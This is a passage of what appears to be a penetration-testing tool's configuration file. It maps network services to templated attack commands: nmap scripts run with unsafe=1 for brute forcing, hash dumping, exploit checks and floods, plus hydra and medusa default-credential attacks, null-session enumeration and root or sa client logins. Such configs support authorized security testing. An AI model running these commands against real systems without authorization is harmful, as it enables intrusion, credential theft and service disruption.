"nmap -Pn [IP] -p [PORT] --script=http-date.nse --script-args=unsafe=1", "http,https" -http-default-accounts.nse=http-default-accounts.nse, "nmap -Pn [IP] -p [PORT] --script=http-default-accounts.nse --script-args=unsafe=1", "http,https" -http-devframework.nse=http-devframework.nse, "nmap -Pn [IP] -p [PORT] --script=http-devframework.nse --script-args=unsafe=1", "http,https" -http-dlink-backdoor.nse=http-dlink-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=http-dlink-backdoor.nse --script-args=unsafe=1", "http,https" -http-dombased-xss.nse=http-dombased-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-dombased-xss.nse --script-args=unsafe=1", "http,https" -http-domino-enum-passwords.nse=http-domino-enum-passwords.nse, "nmap -Pn [IP] -p [PORT] --script=http-domino-enum-passwords.nse --script-args=unsafe=1", "http,https" -http-drupal-enum-users.nse=http-drupal-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-enum-users.nse --script-args=unsafe=1", "http,https" -http-drupal-modules.nse=http-drupal-modules.nse, "nmap -Pn [IP] -p [PORT] --script=http-drupal-modules.nse --script-args=unsafe=1", "http,https" -http-email-harvest.nse=http-email-harvest.nse, "nmap -Pn [IP] -p [PORT] --script=http-email-harvest.nse --script-args=unsafe=1", "http,https" -http-enum.nse=http-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-enum.nse --script-args=unsafe=1", "http,https" -http-errors.nse=http-errors.nse, "nmap -Pn [IP] -p [PORT] --script=http-errors.nse --script-args=unsafe=1", "http,https" -http-exif-spider.nse=http-exif-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-exif-spider.nse --script-args=unsafe=1", "http,https" -http-favicon.nse=http-favicon.nse, "nmap -Pn [IP] -p [PORT] --script=http-favicon.nse --script-args=unsafe=1", "http,https" -http-feed.nse=http-feed.nse, "nmap -Pn [IP] -p [PORT] --script=http-feed.nse --script-args=unsafe=1", "http,https" -http-fileupload-exploiter.nse=http-fileupload-exploiter.nse, "nmap -Pn [IP] -p [PORT] --script=http-fileupload-exploiter.nse --script-args=unsafe=1", "http,https" -http-form-brute.nse=http-form-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-brute.nse --script-args=unsafe=1", "http,https" -http-form-fuzzer.nse=http-form-fuzzer.nse, "nmap -Pn [IP] -p [PORT] --script=http-form-fuzzer.nse --script-args=unsafe=1", "http,https" -http-frontpage-login.nse=http-frontpage-login.nse, "nmap -Pn [IP] -p [PORT] --script=http-frontpage-login.nse --script-args=unsafe=1", "http,https" -http-generator.nse=http-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-generator.nse --script-args=unsafe=1", "http,https" -http-git.nse=http-git.nse, "nmap -Pn [IP] -p [PORT] --script=http-git.nse --script-args=unsafe=1", "http,https" -http-gitweb-projects-enum.nse=http-gitweb-projects-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-gitweb-projects-enum.nse --script-args=unsafe=1", "http,https" -http-google-malware.nse=http-google-malware.nse, "nmap -Pn [IP] -p [PORT] --script=http-google-malware.nse --script-args=unsafe=1", "http,https" -http-grep.nse=http-grep.nse, "nmap -Pn [IP] -p [PORT] --script=http-grep.nse --script-args=unsafe=1", "http,https" -http-headers.nse=http-headers.nse, "nmap -Pn [IP] -p [PORT] --script=http-headers.nse --script-args=unsafe=1", "http,https" -http-huawei-hg5xx-vuln.nse=http-huawei-hg5xx-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-huawei-hg5xx-vuln.nse --script-args=unsafe=1", "http,https" -http-icloud-findmyiphone.nse=http-icloud-findmyiphone.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-findmyiphone.nse --script-args=unsafe=1", "http,https" -http-icloud-sendmsg.nse=http-icloud-sendmsg.nse, "nmap -Pn [IP] -p [PORT] --script=http-icloud-sendmsg.nse --script-args=unsafe=1", "http,https" -http-iis-short-name-brute.nse=http-iis-short-name-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-short-name-brute.nse --script-args=unsafe=1", "http,https" -http-iis-webdav-vuln.nse=http-iis-webdav-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-iis-webdav-vuln.nse --script-args=unsafe=1", "http,https" -http-joomla-brute.nse=http-joomla-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-joomla-brute.nse --script-args=unsafe=1", "http,https" -http-litespeed-sourcecode-download.nse=http-litespeed-sourcecode-download.nse, "nmap -Pn [IP] -p [PORT] --script=http-litespeed-sourcecode-download.nse --script-args=unsafe=1", "http,https" -http-majordomo2-dir-traversal.nse=http-majordomo2-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-majordomo2-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-malware-host.nse=http-malware-host.nse, "nmap -Pn [IP] -p [PORT] --script=http-malware-host.nse --script-args=unsafe=1", "http,https" -http-method-tamper.nse=http-method-tamper.nse, "nmap -Pn [IP] -p [PORT] --script=http-method-tamper.nse --script-args=unsafe=1", "http,https" -http-methods.nse=http-methods.nse, "nmap -Pn [IP] -p [PORT] --script=http-methods.nse --script-args=unsafe=1", "http,https" -http-mobileversion-checker.nse=http-mobileversion-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-mobileversion-checker.nse --script-args=unsafe=1", "http,https" -http-ntlm-info.nse=http-ntlm-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-ntlm-info.nse --script-args=unsafe=1", "http,https" -http-open-proxy.nse=http-open-proxy.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-proxy.nse --script-args=unsafe=1", "http,https" -http-open-redirect.nse=http-open-redirect.nse, "nmap -Pn [IP] -p [PORT] --script=http-open-redirect.nse --script-args=unsafe=1", "http,https" -http-passwd.nse=http-passwd.nse, "nmap -Pn [IP] -p [PORT] --script=http-passwd.nse --script-args=unsafe=1", "http,https" -http-php-version.nse=http-php-version.nse, "nmap -Pn [IP] -p [PORT] --script=http-php-version.nse --script-args=unsafe=1", "http,https" -http-phpmyadmin-dir-traversal.nse=http-phpmyadmin-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpmyadmin-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-phpself-xss.nse=http-phpself-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-phpself-xss.nse --script-args=unsafe=1", "http,https" -http-proxy-brute.nse=http-proxy-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-proxy-brute.nse --script-args=unsafe=1", "http,https" -http-put.nse=http-put.nse, "nmap -Pn [IP] -p [PORT] --script=http-put.nse --script-args=unsafe=1", "http,https" -http-qnap-nas-info.nse=http-qnap-nas-info.nse, "nmap -Pn [IP] -p [PORT] --script=http-qnap-nas-info.nse --script-args=unsafe=1", "http,https" -http-referer-checker.nse=http-referer-checker.nse, "nmap -Pn [IP] -p [PORT] --script=http-referer-checker.nse --script-args=unsafe=1", "http,https" -http-rfi-spider.nse=http-rfi-spider.nse, "nmap -Pn [IP] -p [PORT] --script=http-rfi-spider.nse --script-args=unsafe=1", "http,https" -http-robots.txt.nse=http-robots.txt.nse, "nmap -Pn [IP] -p [PORT] --script=http-robots.txt.nse --script-args=unsafe=1", "http,https" -http-robtex-reverse-ip.nse=http-robtex-reverse-ip.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-reverse-ip.nse --script-args=unsafe=1", "http,https" -http-robtex-shared-ns.nse=http-robtex-shared-ns.nse, "nmap -Pn [IP] -p [PORT] --script=http-robtex-shared-ns.nse --script-args=unsafe=1", "http,https" -http-server-header.nse=http-server-header.nse, "nmap -Pn [IP] -p [PORT] --script=http-server-header.nse --script-args=unsafe=1", "http,https" -http-sitemap-generator.nse=http-sitemap-generator.nse, "nmap -Pn [IP] -p [PORT] --script=http-sitemap-generator.nse --script-args=unsafe=1", "http,https" -http-slowloris-check.nse=http-slowloris-check.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris-check.nse --script-args=unsafe=1", "http,https" -http-slowloris.nse=http-slowloris.nse, "nmap -Pn [IP] -p [PORT] --script=http-slowloris.nse --script-args=unsafe=1", "http,https" -http-sql-injection.nse=http-sql-injection.nse, "nmap -Pn [IP] -p [PORT] --script=http-sql-injection.nse --script-args=unsafe=1", "http,https" -http-stored-xss.nse=http-stored-xss.nse, "nmap -Pn [IP] -p [PORT] --script=http-stored-xss.nse --script-args=unsafe=1", "http,https" -http-title.nse=http-title.nse, "nmap -Pn [IP] -p [PORT] --script=http-title.nse --script-args=unsafe=1", "http,https" -http-tplink-dir-traversal.nse=http-tplink-dir-traversal.nse, "nmap -Pn [IP] -p [PORT] --script=http-tplink-dir-traversal.nse --script-args=unsafe=1", "http,https" -http-trace.nse=http-trace.nse, "nmap -Pn [IP] -p [PORT] --script=http-trace.nse --script-args=unsafe=1", "http,https" -http-traceroute.nse=http-traceroute.nse, "nmap -Pn [IP] -p [PORT] --script=http-traceroute.nse --script-args=unsafe=1", "http,https" -http-unsafe-output-escaping.nse=http-unsafe-output-escaping.nse, "nmap -Pn [IP] -p [PORT] --script=http-unsafe-output-escaping.nse --script-args=unsafe=1", "http,https" -http-useragent-tester.nse=http-useragent-tester.nse, "nmap -Pn [IP] -p [PORT] --script=http-useragent-tester.nse --script-args=unsafe=1", "http,https" -http-userdir-enum.nse=http-userdir-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-userdir-enum.nse --script-args=unsafe=1", "http,https" -http-vhosts.nse=http-vhosts.nse, "nmap -Pn [IP] -p [PORT] --script=http-vhosts.nse --script-args=unsafe=1", "http,https" -http-virustotal.nse=http-virustotal.nse, "nmap -Pn [IP] -p [PORT] --script=http-virustotal.nse --script-args=unsafe=1", "http,https" -http-vlcstreamer-ls.nse=http-vlcstreamer-ls.nse, "nmap -Pn [IP] -p [PORT] --script=http-vlcstreamer-ls.nse --script-args=unsafe=1", "http,https" -http-vmware-path-vuln.nse=http-vmware-path-vuln.nse, "nmap -Pn [IP] -p [PORT] --script=http-vmware-path-vuln.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2009-3960.nse=http-vuln-cve2009-3960.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2009-3960.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-0738.nse=http-vuln-cve2010-0738.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-0738.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2010-2861.nse=http-vuln-cve2010-2861.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2010-2861.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3192.nse=http-vuln-cve2011-3192.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3192.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2011-3368.nse=http-vuln-cve2011-3368.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2011-3368.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2012-1823.nse=http-vuln-cve2012-1823.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2012-1823.nse --script-args=unsafe=1", "http,https" -http-vuln-cve2013-0156.nse=http-vuln-cve2013-0156.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-cve2013-0156.nse --script-args=unsafe=1", "http,https" -http-vuln-zimbra-lfi.nse=http-vuln-zimbra-lfi.nse, "nmap -Pn [IP] -p [PORT] --script=http-vuln-zimbra-lfi.nse --script-args=unsafe=1", "http,https" -http-waf-detect.nse=http-waf-detect.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-detect.nse --script-args=unsafe=1", "http,https" -http-waf-fingerprint.nse=http-waf-fingerprint.nse, "nmap -Pn [IP] -p [PORT] --script=http-waf-fingerprint.nse --script-args=unsafe=1", "http,https" -http-wordpress-brute.nse=http-wordpress-brute.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-brute.nse --script-args=unsafe=1", "http,https" -http-wordpress-enum.nse=http-wordpress-enum.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-enum.nse --script-args=unsafe=1", "http,https" -http-wordpress-plugins.nse=http-wordpress-plugins.nse, "nmap -Pn [IP] -p [PORT] --script=http-wordpress-plugins.nse --script-args=unsafe=1", "http,https" -http-xssed.nse=http-xssed.nse, "nmap -Pn [IP] -p [PORT] --script=http-xssed.nse --script-args=unsafe=1", "http,https" -imap-brute.nse=imap-brute.nse, "nmap -Pn [IP] -p [PORT] --script=imap-brute.nse --script-args=unsafe=1", imap -imap-capabilities.nse=imap-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=imap-capabilities.nse --script-args=unsafe=1", imap -irc-botnet-channels.nse=irc-botnet-channels.nse, "nmap -Pn [IP] -p [PORT] --script=irc-botnet-channels.nse --script-args=unsafe=1", irc -irc-brute.nse=irc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-brute.nse --script-args=unsafe=1", irc -irc-info.nse=irc-info.nse, "nmap -Pn [IP] -p [PORT] --script=irc-info.nse --script-args=unsafe=1", irc -irc-sasl-brute.nse=irc-sasl-brute.nse, "nmap -Pn [IP] -p [PORT] --script=irc-sasl-brute.nse --script-args=unsafe=1", irc -irc-unrealircd-backdoor.nse=irc-unrealircd-backdoor.nse, "nmap -Pn [IP] -p [PORT] --script=irc-unrealircd-backdoor.nse --script-args=unsafe=1", irc -ldapsearch=Run ldapsearch, ldapsearch -h [IP] -p [PORT] -x -s base, ldap -membase-http-info.nse=membase-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=membase-http-info.nse --script-args=unsafe=1", "http,https" -ms-sql-brute.nse=ms-sql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-brute.nse --script-args=unsafe=1", ms-sql -ms-sql-config.nse=ms-sql-config.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-config.nse --script-args=unsafe=1", ms-sql -ms-sql-dac.nse=ms-sql-dac.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dac.nse --script-args=unsafe=1", ms-sql -ms-sql-dump-hashes.nse=ms-sql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-dump-hashes.nse --script-args=unsafe=1", ms-sql -ms-sql-empty-password.nse=ms-sql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-empty-password.nse --script-args=unsafe=1", ms-sql -ms-sql-hasdbaccess.nse=ms-sql-hasdbaccess.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-hasdbaccess.nse --script-args=unsafe=1", ms-sql -ms-sql-info.nse=ms-sql-info.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-info.nse --script-args=unsafe=1", ms-sql -ms-sql-query.nse=ms-sql-query.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-query.nse --script-args=unsafe=1", ms-sql -ms-sql-tables.nse=ms-sql-tables.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-tables.nse --script-args=unsafe=1", ms-sql -ms-sql-xp-cmdshell.nse=ms-sql-xp-cmdshell.nse, "nmap -Pn [IP] -p [PORT] --script=ms-sql-xp-cmdshell.nse --script-args=unsafe=1", ms-sql -msrpc-enum.nse=msrpc-enum.nse, "nmap -Pn [IP] -p [PORT] --script=msrpc-enum.nse --script-args=unsafe=1", msrpc -mssql-default=Check for default mssql credentials, hydra -s [PORT] -C ./wordlists/mssql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mssql, ms-sql-s -mysql-audit.nse=mysql-audit.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-audit.nse --script-args=unsafe=1", mysql -mysql-brute.nse=mysql-brute.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-brute.nse --script-args=unsafe=1", mysql -mysql-databases.nse=mysql-databases.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-databases.nse --script-args=unsafe=1", mysql -mysql-default=Check for default mysql credentials, hydra -s [PORT] -C ./wordlists/mysql-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] mysql, mysql -mysql-dump-hashes.nse=mysql-dump-hashes.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-dump-hashes.nse --script-args=unsafe=1", mysql -mysql-empty-password.nse=mysql-empty-password.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-empty-password.nse --script-args=unsafe=1", mysql -mysql-enum.nse=mysql-enum.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-enum.nse --script-args=unsafe=1", mysql -mysql-info.nse=mysql-info.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-info.nse --script-args=unsafe=1", mysql -mysql-query.nse=mysql-query.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-query.nse --script-args=unsafe=1", mysql -mysql-users.nse=mysql-users.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-users.nse --script-args=unsafe=1", mysql -mysql-variables.nse=mysql-variables.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-variables.nse --script-args=unsafe=1", mysql -mysql-vuln-cve2012-2122.nse=mysql-vuln-cve2012-2122.nse, "nmap -Pn [IP] -p [PORT] --script=mysql-vuln-cve2012-2122.nse --script-args=unsafe=1", mysql -nbtscan=Run nbtscan, nbtscan -v -h [IP], netbios-ns -nfs-ls.nse=nfs-ls.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-ls.nse --script-args=unsafe=1", nfs -nfs-showmount.nse=nfs-showmount.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-showmount.nse --script-args=unsafe=1", nfs -nfs-statfs.nse=nfs-statfs.nse, "nmap -Pn [IP] -p [PORT] --script=nfs-statfs.nse --script-args=unsafe=1", nfs -nikto=Run nikto, nikto -o [OUTPUT].txt -p [PORT] -h [IP] -C all, "http,https,ssl,soap,http-proxy,http-alt" -nmap=Run nmap (scripts) on port, nmap -Pn -sV -sC -vvvvv -p[PORT] [IP] -oA [OUTPUT], -oracle-brute-stealth.nse=oracle-brute-stealth.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute-stealth.nse --script-args=unsafe=1", oracle -oracle-brute.nse=oracle-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-brute.nse --script-args=unsafe=1", oracle -oracle-default=Check for default oracle credentials, hydra -s [PORT] -C ./wordlists/oracle-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] oracle-listener, oracle-tns -oracle-enum-users.nse=oracle-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-enum-users.nse --script-args=unsafe=1", oracle -oracle-sid=Oracle SID enumeration, "msfcli auxiliary/scanner/oracle/sid_enum rhosts=[IP] E", oracle-tns' -oracle-sid-brute.nse=oracle-sid-brute.nse, "nmap -Pn [IP] -p [PORT] --script=oracle-sid-brute.nse --script-args=unsafe=1", oracle -oracle-version=Get version, "msfcli auxiliary/scanner/oracle/tnslsnr_version rhosts=[IP] E", oracle-tns -polenum=Extract password policy (polenum), polenum [IP], "netbios-ssn,microsoft-ds" -pop3-brute.nse=pop3-brute.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-brute.nse --script-args=unsafe=1", pop3 -pop3-capabilities.nse=pop3-capabilities.nse, "nmap -Pn [IP] -p [PORT] --script=pop3-capabilities.nse --script-args=unsafe=1", pop3 -postgres-default=Check for default postgres credentials, hydra -s [PORT] -C ./wordlists/postgres-default-userpass.txt -u -o \"[OUTPUT].txt\" -f [IP] postgres, postgresql -rdp-sec-check=Run rdp-sec-check.pl, perl ./scripts/rdp-sec-check.pl [IP]:[PORT], ms-wbt-server -realvnc-auth-bypass.nse=realvnc-auth-bypass.nse, "nmap -Pn [IP] -p [PORT] --script=realvnc-auth-bypass.nse --script-args=unsafe=1", vnc -riak-http-info.nse=riak-http-info.nse, "nmap -Pn [IP] -p [PORT] --script=riak-http-info.nse --script-args=unsafe=1", "http,https" -rpcinfo=Run rpcinfo, rpcinfo -p [IP], rpcbind -rwho=Run rwho, rwho -a [IP], who -samba-vuln-cve-2012-1182.nse=samba-vuln-cve-2012-1182.nse, "nmap -Pn [IP] -p [PORT] --script=samba-vuln-cve-2012-1182.nse --script-args=unsafe=1", samba -samrdump=Run samrdump, python /usr/share/doc/python-impacket-doc/examples/samrdump.py [IP] [PORT]/SMB, "netbios-ssn,microsoft-ds" -showmount=Show nfs shares, showmount -e [IP], nfs -smb-brute.nse=smb-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smb-brute.nse --script-args=unsafe=1", smb -smb-check-vulns.nse=smb-check-vulns.nse, "nmap -Pn [IP] -p [PORT] --script=smb-check-vulns.nse --script-args=unsafe=1", smb -smb-enum-admins=Enumerate domain admins (net), "net rpc group members \"Domain Admins\" -I [IP] -U% ", "netbios-ssn,microsoft-ds" -smb-enum-domains.nse=smb-enum-domains.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-domains.nse --script-args=unsafe=1", smb -smb-enum-groups=Enumerate groups (nmap), "nmap -p[PORT] --script=smb-enum-groups [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-groups.nse=smb-enum-groups.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-groups.nse --script-args=unsafe=1", smb -smb-enum-policies=Extract password policy (nmap), "nmap -p[PORT] --script=smb-enum-domains [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-processes.nse=smb-enum-processes.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-processes.nse --script-args=unsafe=1", smb -smb-enum-sessions=Enumerate logged in users (nmap), "nmap -p[PORT] --script=smb-enum-sessions [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-sessions.nse=smb-enum-sessions.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-sessions.nse --script-args=unsafe=1", smb -smb-enum-shares=Enumerate shares (nmap), "nmap -p[PORT] --script=smb-enum-shares [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-shares.nse=smb-enum-shares.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-shares.nse --script-args=unsafe=1", smb -smb-enum-users=Enumerate users (nmap), "nmap -p[PORT] --script=smb-enum-users [IP] -vvvvv", "netbios-ssn,microsoft-ds" -smb-enum-users-rpc=Enumerate users (rpcclient), bash -c \"echo 'enumdomusers' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-enum-users.nse=smb-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smb-enum-users.nse --script-args=unsafe=1", smb -smb-flood.nse=smb-flood.nse, "nmap -Pn [IP] -p [PORT] --script=smb-flood.nse --script-args=unsafe=1", smb -smb-ls.nse=smb-ls.nse, "nmap -Pn [IP] -p [PORT] --script=smb-ls.nse --script-args=unsafe=1", smb -smb-mbenum.nse=smb-mbenum.nse, "nmap -Pn [IP] -p [PORT] --script=smb-mbenum.nse --script-args=unsafe=1", smb -smb-null-sessions=Check for null sessions (rpcclient), bash -c \"echo 'srvinfo' | rpcclient [IP] -U%\", "netbios-ssn,microsoft-ds" -smb-os-discovery.nse=smb-os-discovery.nse, "nmap -Pn [IP] -p [PORT] --script=smb-os-discovery.nse --script-args=unsafe=1", smb -smb-print-text.nse=smb-print-text.nse, "nmap -Pn [IP] -p [PORT] --script=smb-print-text.nse --script-args=unsafe=1", smb -smb-psexec.nse=smb-psexec.nse, "nmap -Pn [IP] -p [PORT] --script=smb-psexec.nse --script-args=unsafe=1", smb -smb-security-mode.nse=smb-security-mode.nse, "nmap -Pn [IP] -p [PORT] --script=smb-security-mode.nse --script-args=unsafe=1", smb -smb-server-stats.nse=smb-server-stats.nse, "nmap -Pn [IP] -p [PORT] --script=smb-server-stats.nse --script-args=unsafe=1", smb -smb-system-info.nse=smb-system-info.nse, "nmap -Pn [IP] -p [PORT] --script=smb-system-info.nse --script-args=unsafe=1", smb -smb-vuln-ms10-054.nse=smb-vuln-ms10-054.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-054.nse --script-args=unsafe=1", smb -smb-vuln-ms10-061.nse=smb-vuln-ms10-061.nse, "nmap -Pn [IP] -p [PORT] --script=smb-vuln-ms10-061.nse --script-args=unsafe=1", smb -smbenum=Run smbenum, bash ./scripts/smbenum.sh [IP], "netbios-ssn,microsoft-ds" -smbv2-enabled.nse=smbv2-enabled.nse, "nmap -Pn [IP] -p [PORT] --script=smbv2-enabled.nse --script-args=unsafe=1", smb -smtp-brute.nse=smtp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-brute.nse --script-args=unsafe=1", smtp -smtp-commands.nse=smtp-commands.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-commands.nse --script-args=unsafe=1", smtp -smtp-enum-expn=Enumerate SMTP users (EXPN), smtp-user-enum -M EXPN -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-rcpt=Enumerate SMTP users (RCPT), smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-enum-users.nse=smtp-enum-users.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-enum-users.nse --script-args=unsafe=1", smtp -smtp-enum-vrfy=Enumerate SMTP users (VRFY), smtp-user-enum -M VRFY -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t [IP] -p [PORT], smtp -smtp-open-relay.nse=smtp-open-relay.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-open-relay.nse --script-args=unsafe=1", smtp -smtp-strangeport.nse=smtp-strangeport.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-strangeport.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2010-4344.nse=smtp-vuln-cve2010-4344.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2010-4344.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1720.nse=smtp-vuln-cve2011-1720.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1720.nse --script-args=unsafe=1", smtp -smtp-vuln-cve2011-1764.nse=smtp-vuln-cve2011-1764.nse, "nmap -Pn [IP] -p [PORT] --script=smtp-vuln-cve2011-1764.nse --script-args=unsafe=1", smtp -snmp-brute=Bruteforce community strings (medusa), bash -c \"medusa -h [IP] -u root -P ./wordlists/snmp-default.txt -M snmp | grep SUCCESS\", "snmp,snmptrap" -snmp-brute.nse=snmp-brute.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-brute.nse --script-args=unsafe=1", snmp -snmp-default=Check for default community strings, python ./scripts/snmpbrute.py -t [IP] -p [PORT] -f ./wordlists/snmp-default.txt -b --no-colours, "snmp,snmptrap" -snmp-hh3c-logins.nse=snmp-hh3c-logins.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-hh3c-logins.nse --script-args=unsafe=1", snmp -snmp-interfaces.nse=snmp-interfaces.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-interfaces.nse --script-args=unsafe=1", snmp -snmp-ios-config.nse=snmp-ios-config.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-ios-config.nse --script-args=unsafe=1", snmp -snmp-netstat.nse=snmp-netstat.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-netstat.nse --script-args=unsafe=1", snmp -snmp-processes.nse=snmp-processes.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-processes.nse --script-args=unsafe=1", snmp -snmp-sysdescr.nse=snmp-sysdescr.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-sysdescr.nse --script-args=unsafe=1", snmp -snmp-win32-services.nse=snmp-win32-services.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-services.nse --script-args=unsafe=1", snmp -snmp-win32-shares.nse=snmp-win32-shares.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-shares.nse --script-args=unsafe=1", snmp -snmp-win32-software.nse=snmp-win32-software.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-software.nse --script-args=unsafe=1", snmp -snmp-win32-users.nse=snmp-win32-users.nse, "nmap -Pn [IP] -p [PORT] --script=snmp-win32-users.nse --script-args=unsafe=1", snmp -snmpcheck=Run snmpcheck, snmpcheck -t [IP], "snmp,snmptrap" -sslscan=Run sslscan, sslscan --no-failed [IP]:[PORT], "https,ssl" -sslyze=Run sslyze, sslyze --regular [IP]:[PORT], "https,ssl,ms-wbt-server,imap,pop3,smtp" -tftp-enum.nse=tftp-enum.nse, "nmap -Pn [IP] -p [PORT] --script=tftp-enum.nse --script-args=unsafe=1", tftp -vnc-brute.nse=vnc-brute.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-brute.nse --script-args=unsafe=1", vnc -vnc-info.nse=vnc-info.nse, "nmap -Pn [IP] -p [PORT] --script=vnc-info.nse --script-args=unsafe=1", vnc -webslayer=Launch webslayer, webslayer, "http,https,ssl,soap,http-proxy,http-alt" -whatweb=Run whatweb, "whatweb [IP]:[PORT] --color=never --log-brief=[OUTPUT].txt", "http,https,ssl,soap,http-proxy,http-alt" -x11screen=Run x11screenshot, bash ./scripts/x11screenshot.sh [IP] 0 [OUTPUT], X11 - -[PortTerminalActions] -firefox=Open with firefox, firefox [IP]:[PORT], -ftp=Open with ftp client, ftp [IP] [PORT], ftp -mssql=Open with mssql client (as sa), python /usr/share/doc/python-impacket-doc/examples/mssqlclient.py -p [PORT] sa@[IP], "mys-sql-s,codasrv-se" -mysql=Open with mysql client (as root), "mysql -u root -h [IP] --port=[PORT] -p", mysql -netcat=Open with netcat, nc -v [IP] [PORT], -psql=Open with postgres client (as postgres), psql -h [IP] -p [PORT] -U postgres, postgres -rdesktop=Open with rdesktop, rdesktop [IP]:[PORT], ms-wbt-server -rlogin=Open with rlogin, rlogin -i root -p [PORT] [IP], login -rpcclient=Open with rpcclient (NULL session), rpcclient [IP] -p [PORT] -U%, 